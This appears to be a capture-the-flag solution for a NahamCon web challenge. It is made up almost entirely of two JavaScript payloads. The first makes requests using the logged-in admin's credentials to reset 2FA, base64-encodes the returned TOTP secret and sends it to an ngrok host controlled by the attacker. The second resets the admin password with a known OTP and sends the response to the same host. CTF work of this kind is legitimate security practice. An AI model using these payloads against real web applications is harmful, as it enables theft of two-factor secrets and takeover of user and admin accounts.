Need to keep things secure? Try out our safe, the most secure in the world!
Solution
2fa_exfil.js
// Extract 2fa code from admin, can then generate QR code for GAuth (update the secret)
// https://www.google.com/chart?chs=200x200&chld=M%7C0&cht=qr&chl=otpauth://totp/Fort%20Knox:admin?secret=APJ5VXIQVMM5UF6X&issuer=Fort%20Knox
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://challenge.nahamcon.com:30666/reset2fa", true);
xhr.withCredentials = true;
xhr.onload = function () {
var flag = btoa(xhr.responseText);
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://b6a5-81-103-153-174.ngrok.io/?flag=" + flag);
exfil.send();
};
xhr.send();
reset_pw.js
// Reset admin password
var http = new XMLHttpRequest();
var url = "http://challenge.nahamcon.com:30666/reset_password";
var data = JSON.stringify({
password: "admin",
password2: "admin",
otp: "661035",
});
http.open("POST", url, true);
// Not actually needed, just for debugging
http.onload = function () {
var flag = btoa(http.responseText);
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://b6a5-81-103-153-174.ngrok.io?flag=" + flag);
exfil.send();
};
http.setRequestHeader("Content-type", "application/json");
http.send(data);
